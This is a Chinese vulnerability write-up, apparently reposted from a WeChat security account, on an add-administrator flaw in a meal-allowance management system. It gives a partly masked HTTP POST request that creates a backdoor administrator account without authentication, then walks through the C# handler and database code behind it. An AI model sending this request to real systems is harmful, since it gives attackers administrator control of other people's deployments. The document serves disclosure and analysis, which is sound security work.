01
阅读须知
此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他方面
02
漏洞背景
餐补管理系统是一款免安装的系统,配置好服务器后,商家、用户可随意在能上网的地方,在任何浏览器输入网址即可进入系统登录入口,系统利用最新的SQL SERVER技术,采用B/S结构,使用树形节点功能设计开发出这套成熟的消费系统。让操作人员工作起来更方便,更轻松。本系统有六大模块,分别是:常用功能、用户管理、资金管理、系统设置、系统管理、图表统计,另外还可扩展点餐、订餐、送餐管理模块。
03
漏洞复现
近日外部公开渠道爆出该系统的System**.as**接口存在敏感信息泄露漏洞,可导致攻击者添加后台管理员账户和密码。具体的数据包如下所示。
POST /System**.as** HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/top.html
Connection: close
Cookie: ASP.NET_SessionId=whnrkuaqbz0lyv1fb
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 175
operator**=test&operator**=123456&operpassword=123456&operatorRole=00&visible_jh=%E8%AF%B7%E9%80%89%E6%8B%A9&visible_dorm=%E8%AF%B7%E9%80%89%E6%8B%A9&funcName=ad**
上述请求构造的POST请求,包含了新增账户和两次确认的密码,发送请求后在页面返回显示1,表示成功添加管理员账户。
04
漏洞分析
存在漏洞的是一个Handler,经过分析得知代码隐藏在New**.System**类名中,首先从HTTP请求的表单数据中获取operatorName、operatorPwd、operatorRole等参数。
string
operatorName = context.Request.Form[
"operatorName"
];
string
operatorPwd = context.Request.Form[
"operatorPwd"
];
string
operatorRole = context.Request.Form[
"operatorRole"
];
string
visible_jh = context.Request.Form[
"visible_jh"
];
随后,下面代码调用了SystemMngBLL类中的addOperators方法,并传入提取的表单数据作为参数。该方法返回一个整数,该整数被转换为字符串并存储在rtnStr中。
rtnStr = SystemMngBLL.addOperators(operatorName, operatorPwd, operatorRole, visible_jh).ToString();
接着,下面业务逻辑层 (BLL) 中的方法,调用了同名的数据访问层 (DAL) 方法,实际上是一个传递操作。与数据库交互的实际工作由DAL负责。
public
static
int
addOperators
(
string
operatorName,
string
operatorPwd,
string
operatorRole,
string
visible_jh
)
{
return
SystemMngDAL.addOperators(operatorName, operatorPwd, operatorRole, visible_jh);
}
然后,该方法构建了一个SQL命令,如果数据库中不存在相同用户名的操作员,则将其插入数据库。
public
static
int
addOperators
(
string
operatorName,
string
operatorPwd,
string
operatorRole,
string
visible_jh
)
{
string
sqlStr =
"if not exists(select * from qx where username=@username)rn insert qx(username, password, qx, memo, people_node,visible_jh) values(@username,@password, '1111111111111111111111111', '', @people_node,@visible_jh)"
;
SqlParameter[] p =
new
SqlParameter[]
{
new
SqlParameter(
"@username"
, operatorName),
new
SqlParameter(
"@password"
, operatorPwd),
new
SqlParameter(
"@visible_jh"
, visible_jh),
new
SqlParameter(
"@people_node"
, operatorRole)
};
return
SqlHelper.ExecuteNonQuery(SqlHelper.dbCon, CommandType.Text, sqlStr, p);
}
插入一个新记录,包含提供的username、password、固定的qx值(可能代表权限)、空的memo、people_node(角色)和visible_jh(可见性)。
原文始发于微信公众号(dotNet安全矩阵):.NET 情报 | 分析某云系统添加管理员漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论